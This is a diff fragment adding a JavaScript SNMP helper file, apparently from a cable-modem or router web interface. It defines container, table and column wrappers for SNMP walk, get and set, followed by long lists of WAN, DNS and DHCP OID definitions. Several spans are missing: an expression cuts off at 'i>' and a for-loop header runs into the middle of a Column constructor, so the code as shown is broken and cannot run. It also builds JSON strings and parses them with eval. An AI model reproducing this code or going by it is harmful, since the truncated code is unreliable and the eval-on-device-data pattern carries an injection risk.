alert("index_key:"+index_key+" DATA:"+DATA); + + //luis add + if(DATA.toUpperCase()=="NO SUCH OBJECT") + DATA=""; + //luis add end + + if((i>=1)&&(MIB_objs[i]["mibobj"].name==MIB_objs[i-1]["mibobj"].name)) + { + MIB_Str=MIB_Str.substring(0,MIB_Str.lastIndexOf("]")); + MIB_Str+=',"'+ DATA.toString() +'"]'; //More + MIB_Str+=((i>\n{"+MIB_objs[i]["mibobj"].name+":"+MIB_JSON[index_key].toString()+"}"); + return undefined; + } + } + MIB_Str+="}"; + MIB_Result=eval('('+MIB_Str+')'); + //Reduce one element Array + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } +// alert("(mib.js)MIB_BatchLoad str=["+MIB_Str+"]."); + return MIB_Result; +} + +function MIB_objSize(MIB_objs) +{ + var count=0; + for(var index_key in MIB_objs) + { + count++; + } + return count; +} + +function isArray(what) { + return Object.prototype.toString.call(what) === '[object Array]'; +} + +function MIB_objAppend(MIB_objs,MIB_objs_2,force_multi) +{ + if(force_multi==undefined) + force_multi=false; + var MIB_Result; + var MIB_size=MIB_objSize(MIB_objs); + var MIB_size_2=MIB_objSize(MIB_objs_2); + var MIB_Str=MIB_JSON2Str(MIB_objs); + + if(MIB_size_2>0) + MIB_Str+=","; + MIB_Str+=MIB_JSON2Str(MIB_objs_2); + MIB_Str="{"+MIB_Str+"}"; + MIB_Result=eval('('+MIB_Str+')'); + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } + return MIB_Result; +} + + + +function bulkLoad(load_func) { + bulkLoading = true; + bulkList = []; + load_func(); + bulkLoading = false; + if (bulkList.length === 0) + return; + var oids = []; + _.each(bulkList, function (oid, index) { + oids.push(oid); + if (oids.length === 20 || index === (bulkList.length-1)) { + var v = snmpGet(oids); + _.each(v, function (val, key) { + walk[key] = val; + }); + oids = []; + } + }); +} + +function sliceOid(oid, start, end) { + var oids = oid.split("."); + if (start < 0) { + start = oids.length + start; + end = oids.length; + } else { + end = (end === undefined ? oids.length : end); + } + if (end < 0) { + end = oids.length + end; + } + return _(oids.slice(start, end)).reduce(function(acc, next) { + return acc ? acc + "." + next : next; + }); +} + +//function getWalkOids(targetOid) { +// $.each(oidMap, function(oid,def) { +// if (!oid.startsWith(target)) +// return; +// +// +// }); +//} + +if (window["preWalk"]) + walk = window["preWalk"]; + +function afterLoad(f) { + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} +function load1(f, json) { + if (json === undefined) + json = snmpWalk([ f.oid ]); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} + +var loadLogData = ""; + +function loadLogger(l) { + if (window.console) console.log(l); + if (debug()&2 && !(l.contains("assword", "TAC","RadiusKey")) ) + loadLogData += (l+"
    "); +} + +function load() { + loadLogData = ""; + var args = _(_.toArray(arguments)); + if (!window["preWalk"]) { + var oids = args.map(function(f) { + return f.oid; + }); + var json = snmpWalk(oids); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) + loadRowStatus(); + +// mb +// args.each(function(f) { +// f.dump(loadLogger); +// }) +// if (debug()&2) +// afterBuild( function() { +// showWalk(loadLogData); +// }); + +} + +function loadFake() { + var args = _(_.toArray(arguments)); + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) +} +function loadOids(oa) { + function doget(a) { + var json = snmpWalk(a); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + + var soa = [ ]; + _.each(oa, function(o) { + soa.push(o); + if (soa.length > 5) { + doget(soa); + soa = [ ]; + } + }); + if (soa.length) + doget(soa); +} + + +function store() { + MibObjects.ApplyAllSettings.set(1); + refresh(); +} + +function listAccessed() { + _.each(_.extend({}, container, table), function(f) { + if (f.accessed) if (window.console) console.log(f.name); + }); +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + + + +function dumpOidsRead() { + _.each(oidsRead, function(o) { + if (window.console) console.log(o); + }); +} + + +function oidValuesEqual(a,b) { + if ((""+a).startsWith("$") && (""+b).startsWith("$")) { + return a.replace(/ /g,"") === b.replace(/ /g,"") + } + return a == b; +} + + +function Container(name, oid) { + this.name = name; + this.oid = oid; + mib[oid] = this; + container[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("container "+name+" parent "+(this.parent ? this.parent.name : "ROOT")); + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + f(name + " ==============="); + _.each(this.children, function(v) { + if (v !== undefined && v.scalar) + f(v.name + ":" + v.get()); + }); + this.accessed = accessed; + oidsRead = or; + }; + this.json = function() { + return { name:this.name,type:"container",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } +} + +function Table(name, oid) { + this.oid = oid; + this.name = name; + mib[oid] = this; + table[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("table "+name+" parent "+(this.parent ? this.parent.name : "???")); + this.key = []; + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.rowStatus = null; + this.rowVisible = function(key) { + var vis = true; + if (this.rowStatus) { + vis = this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */ + if (!vis) + if (window.console) console.log(name+"."+key+" not visible: "+this.rowStatus.getOid(key));// + } + return vis; + }; + this.length = function() { + return this.key.length; + }; + this.afterLoad = function() { + var hash = { }; + _.each(walk, function(v, k) { + if (k.startsWith(oid + ".")) { + //key = sliceOid(k.substr(oid.length+1),2); + //var tableoid = sliceOid(k,0,-2); + var testKey = sliceOid(k.substr(oid.length + 1), 2); + if (testKey && !hash[testKey]) { + hash[testKey] = testKey; + this.key.push(testKey); + } + } + }, this); + this.loaded = true; + loadRowStatus(); + } + this.dumpGroupRow = true; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + var rv = ""; + for (var i = 0; i < this.length(); i++) { + rv += this.key[i] + ";"; + } + f("table " + name + " size=" + this.length() + " " + rv); + var rv = ""; + for (var i = 0; i < this.length(); i++) { + $.each(this.children, function(k, v) { + if (v.get(i)) { + rv += (v.name + ":" + v.get(i) + ";"); + if (!this.dumpGroupRow) { + f("===" + this.table.key[i] + "==>" + rv); + rv = ""; + } + } + }); + if (rv.length && this.dumpGroupRow) + f("===" + this.key[i] + "==>" + rv); + } + this.accessed = accessed; + oidsRead = or; + f("rowStatus: "+ (this.rowStatus ? this.rowStatus.name : "")); + } + this.json = function() { + return { name:this.name,type:"table",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } + this.getTable = function(cola, func) { + if (walk[this.oid] === undefined) { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + + } + else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MACAccessTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + //luis add + if(val2.toUpperCase()=="NO SUCH OBJECT") + val2=""; + //luis add end + + row.push(val2); + + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getTableFromJson = function(json_obj,cola, func) { + //walk[this.oid]=json_obj[this.name]; + _.extend(walk,json_obj[this.name]); + this.afterLoad(); + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + row.push(val2); + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getMultiTable = function(tables_oid) { + var temp_str=""; + var MIB_Result; + var MultiTable=[ ]; + var tablecount=tables_oid.length,i; + for(i=0;i this.table.key.length) + if (window.console) console.log("index " + index + " out of range for " + table.name); + return this.table.key[index] || ""; + } + this.get = function(index, index2) { + if (!index || index.asInt() === 0) + if (window.console) console.log("old style index get "+name+" "+index); + if (index2 !== undefined) + index += "."+index2; + var oid = this.oid+"."+index; + + if (bulkLoading) { + bulkList.push(oid); + return; + } + + if (walk[oid] === undefined) + { + walk[oid] = decodeURIComponent(snmpGet1(oid) || ""); + return walk[oid]; + } + else + { + //$.each(walk, function(v, k) { + // k=decodeURIComponent(v); + //}); + return walk[oid]; + } + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + this.table.accessed = true; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oidsRead.push(oid + "." + (parseInt(index) + 1)); + return walk[oid + "." + (parseInt(index) + 1)] || ""; + } + oidsRead.push(oid + "." + this.table.key[index]); + return walk[oid + "." + this.table.key[index]] || ""; + } + this.getOid = function(index) { + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + oidsRead.push(oid + "." + index); + if (window.console) console.log(this.name+"."+index+" = "+walk[oid + "." + index] || ""); + return walk[oid + "." + index] || ""; + } + + this.set = function(index, value, label) { + try { + snmpSet1(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + this.asyn_set = function(index, value, label) { + try { + snmpSet1Async(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + // this.setOid = function(index, v) { + // if (arguments.length !== 2) + // alert("expected index for column " + this.name); + // if (!oidValuesEqual(this.get(index), v)) { + // $.log("setOid " + name + "." + index + ":" + v); + // stores.push({oid:this.oid + "." + index,value:v, type:this.type}); + // } + // else $.log(name + "." + index + " not changed " + v); + // }; + + this.defined = function(index) { + if (index === undefined || index < 0 || index > this.table.key.length) + return false; + return walk[oid + "." + this.table.key[index]] !== undefined; + } + this.json = function() { + return { name:this.name,type:"column",oid:this.oid }; + } +} +var Mib = new Container("Mib", "1.3.6.1.4.1.4115.1.20.1"); + +var MibObjects = new Container("MibObjects", "1.3.6.1.4.1.4115.1.20.1.1"); +MibObjects.ApplyAllSettings= new Scalar("ApplyAllSettings","1.3.6.1.4.1.4115.1.20.1.1.9",2); +var arApplyAllSettings=MibObjects.ApplyAllSettings; + +var WanConfig = new Container("WanConfig", "1.3.6.1.4.1.4115.1.20.1.1.1"); +WanConfig.WanConnType= new Scalar("WanConnType","1.3.6.1.4.1.4115.1.20.1.1.1.1",2); +WanConfig.WanConnHostName= new Scalar("WanConnHostName","1.3.6.1.4.1.4115.1.20.1.1.1.2",4); +WanConfig.WanConnDomainName= new Scalar("WanConnDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.3",4); +WanConfig.WanMTUSize= new Scalar("WanMTUSize","1.3.6.1.4.1.4115.1.20.1.1.1.4",66); +WanConfig.WanApply= new Scalar("WanApply","1.3.6.1.4.1.4115.1.20.1.1.1.5",2); +WanConfig.WanStaticFreeIdx= new Scalar("WanStaticFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.8",66); +WanConfig.WanIFMacAddr= new Scalar("WanIFMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.13",4, 1); +WanConfig.WanInterface= new Scalar("WanInterface","1.3.6.1.4.1.4115.1.20.1.1.1.14",2); +WanConfig.WanConnTypeV6= new Scalar("WanConnTypeV6","1.3.6.1.4.1.4115.1.20.1.1.1.16",2); +WanConfig.WanIPProvMode= new Scalar("WanIPProvMode","1.3.6.1.4.1.4115.1.20.1.1.1.17",2); +var arWanConnType=WanConfig.WanConnType; +var arWanConnHostName=WanConfig.WanConnHostName; +var arWanConnDomainName=WanConfig.WanConnDomainName; +var arWanMTUSize=WanConfig.WanMTUSize; +var arWanApply=WanConfig.WanApply; +var arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx; +var arWanIFMacAddr=WanConfig.WanIFMacAddr; +var arWanInterface=WanConfig.WanInterface; +var arWanConnTypeV6=WanConfig.WanConnTypeV6; +var arWanIPProvMode=WanConfig.WanIPProvMode; + +var WanCurrentTable = new Table("WanCurrentTable", "1.3.6.1.4.1.4115.1.20.1.1.1.7"); +WanCurrentTable.WanCurrentIPIndex = new Column("WanCurrentIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1",66); +WanCurrentTable.WanCurrentIPAddrType = new Column("WanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2",2); +WanCurrentTable.WanCurrentIPAddr = new Column("WanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3",4, 1); +WanCurrentTable.WanCurrentPrefix = new Column("WanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4",66); +WanCurrentTable.WanCurrentGWType = new Column("WanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5",2); +WanCurrentTable.WanCurrentGW = new Column("WanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6",4, 1); +WanCurrentTable.WanCurrentIPType = new Column("WanCurrentIPType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7",2); +WanCurrentTable.WanCurrentNetMask = new Column("WanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6 = new Column("WanCurrentPrefixDelegationV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column("WanCurrentPrefixDelegationV6Len","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10",66); +WanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column("WanCurrentPreferredLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11",2); +WanCurrentTable.WanCurrentValidLifetimeV6 = new Column("WanCurrentValidLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12",2); +var arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex; +var arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType; +var arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr; +var arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix; +var arWanCurrentGWType=WanCurrentTable.WanCurrentGWType; +var arWanCurrentGW=WanCurrentTable.WanCurrentGW; +var arWanCurrentIPType=WanCurrentTable.WanCurrentIPType; +var arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask; +var arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6; +var arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len; +var arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6; +var arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6; + +var WanStaticTable = new Table("WanStaticTable", "1.3.6.1.4.1.4115.1.20.1.1.1.9"); +WanStaticTable.WanStaticIPIndex = new Column("WanStaticIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1",66); +WanStaticTable.WanStaticIPAddrType = new Column("WanStaticIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2",2); +WanStaticTable.WanStaticIPAddr = new Column("WanStaticIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3",4, 1); +WanStaticTable.WanStaticPrefix = new Column("WanStaticPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4",66); +WanStaticTable.WanStaticGatewayType = new Column("WanStaticGatewayType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5",2); +WanStaticTable.WanStaticGateway = new Column("WanStaticGateway","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6",4, 1); +WanStaticTable.WanStaticRowStatus = new Column("WanStaticRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7",2); +WanStaticTable.WanDelegatedPrefixLength = new Column("WanDelegatedPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8",66); +WanStaticTable.WanDelegatedPrefix = new Column("WanDelegatedPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9",4, 1); +var arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex; +var arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType; +var arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr; +var arWanStaticPrefix=WanStaticTable.WanStaticPrefix; +var arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType; +var arWanStaticGateway=WanStaticTable.WanStaticGateway; +var arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus; +var arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength; +var arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix; + +var WanTunnelObjects = new Container("WanTunnelObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.10"); +WanTunnelObjects.WanUserName= new Scalar("WanUserName","1.3.6.1.4.1.4115.1.20.1.1.1.10.1",4); +WanTunnelObjects.WanPassword= new Scalar("WanPassword","1.3.6.1.4.1.4115.1.20.1.1.1.10.2",4); +WanTunnelObjects.WanEnableIdleTimeout= new Scalar("WanEnableIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.3",2); +WanTunnelObjects.WanIdleTimeout= new Scalar("WanIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.4",66); +WanTunnelObjects.WanTunnelAddrType= new Scalar("WanTunnelAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.10.5",2); +WanTunnelObjects.WanTunnelAddr= new Scalar("WanTunnelAddr","1.3.6.1.4.1.4115.1.20.1.1.1.10.6",4, 1); +WanTunnelObjects.WanTunnelHostName= new Scalar("WanTunnelHostName","1.3.6.1.4.1.4115.1.20.1.1.1.10.7",4); +WanTunnelObjects.WanEnableKeepAlive= new Scalar("WanEnableKeepAlive","1.3.6.1.4.1.4115.1.20.1.1.1.10.8",2); +WanTunnelObjects.WanKeepAliveTimeout= new Scalar("WanKeepAliveTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.9",66); +var arWanUserName=WanTunnelObjects.WanUserName; +var arWanPassword=WanTunnelObjects.WanPassword; +var arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout; +var arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout; +var arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType; +var arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr; +var arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName; +var arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive; +var arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout; + +var WanDNSObjects = new Container("WanDNSObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.11"); +WanDNSObjects.WanUseAutoDNS= new Scalar("WanUseAutoDNS","1.3.6.1.4.1.4115.1.20.1.1.1.11.1",2); +WanDNSObjects.WanStaticDNSFreeIdx= new Scalar("WanStaticDNSFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.11.3",66); +var arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS; +var arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx; + +var WanCurrentDNSTable = new Table("WanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.2"); +WanCurrentDNSTable.WanCurrentDNSIPIndex = new Column("WanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1",66); +WanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column("WanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2",2); +WanCurrentDNSTable.WanCurrentDNSIPAddr = new Column("WanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3",4, 1); +var arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex; +var arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType; +var arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr; + +var WanStaticDNSTable = new Table("WanStaticDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.4"); +WanStaticDNSTable.WanStaticDNSIPIndex = new Column("WanStaticDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1",66); +WanStaticDNSTable.WanStaticDNSIPAddrType = new Column("WanStaticDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2",2); +WanStaticDNSTable.WanStaticDNSIPAddr = new Column("WanStaticDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3",4, 1); +WanStaticDNSTable.WanStaticDNSRowStatus = new Column("WanStaticDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4",2); +var arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex; +var arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType; +var arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr; +var arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus; + +var WanDHCPObjects = new Container("WanDHCPObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.12"); +WanDHCPObjects.WanRenewLease= new Scalar("WanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.1",2); +WanDHCPObjects.WanReleaseLease= new Scalar("WanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.2",2); +WanDHCPObjects.WanDHCPDuration= new Scalar("WanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.12.3",66); +WanDHCPObjects.WanDHCPExpire= new Scalar("WanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.12.4",4, 1); +WanDHCPObjects.WanRenewLeaseV6= new Scalar("WanRenewLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.5",2); +WanDHCPObjects.WanReleaseLeaseV6= new Scalar("WanReleaseLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.6",2); +WanDHCPObjects.WanDHCPDurationV6= new Scalar("WanDHCPDurationV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.7",66); +WanDHCPObjects.WanDHCPExpireV6= new Scalar("WanDHCPExpireV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.8",4, 1); +var arWanRenewLease=WanDHCPObjects.WanRenewLease; +var arWanReleaseLease=WanDHCPObjects.WanReleaseLease; +var arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration; +var arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire; +var arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6; +var arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6; +var arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6; +var arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6; + +var PrivateWanObjects = new Container("PrivateWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.15"); +PrivateWanObjects.PrivateWanRenewLease= new Scalar("PrivateWanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.1",2); +PrivateWanObjects.PrivateWanReleaseLease= new Scalar("PrivateWanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.2",2); +PrivateWanObjects.PrivateWanDHCPDuration= new Scalar("PrivateWanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.15.3",66); +PrivateWanObjects.PrivateWanDHCPExpire= new Scalar("PrivateWanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.15.4",4, 1); +PrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar("PrivateWanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.5",2); +PrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar("PrivateWanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.6",4, 1); +PrivateWanObjects.PrivateWanCurrentPrefix= new Scalar("PrivateWanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.15.7",66); +PrivateWanObjects.PrivateWanCurrentGWType= new Scalar("PrivateWanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.15.8",2); +PrivateWanObjects.PrivateWanCurrentGW= new Scalar("PrivateWanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.15.9",4, 1); +PrivateWanObjects.PrivateWanCurrentNetMask= new Scalar("PrivateWanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.15.10",4, 1); +PrivateWanObjects.PrivateWanCurrentDomainName= new Scalar("PrivateWanCurrentDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.15.11",4); +PrivateWanObjects.PrivateWanInterfaceName= new Scalar("PrivateWanInterfaceName","1.3.6.1.4.1.4115.1.20.1.1.1.15.12",4); +PrivateWanObjects.PrivateWanMacAddr= new Scalar("PrivateWanMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.13",4, 1); +var arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease; +var arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease; +var arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration; +var arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire; +var arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType; +var arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr; +var arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix; +var arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType; +var arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW; +var arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask; +var arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName; +var arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName; +var arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr; + +var 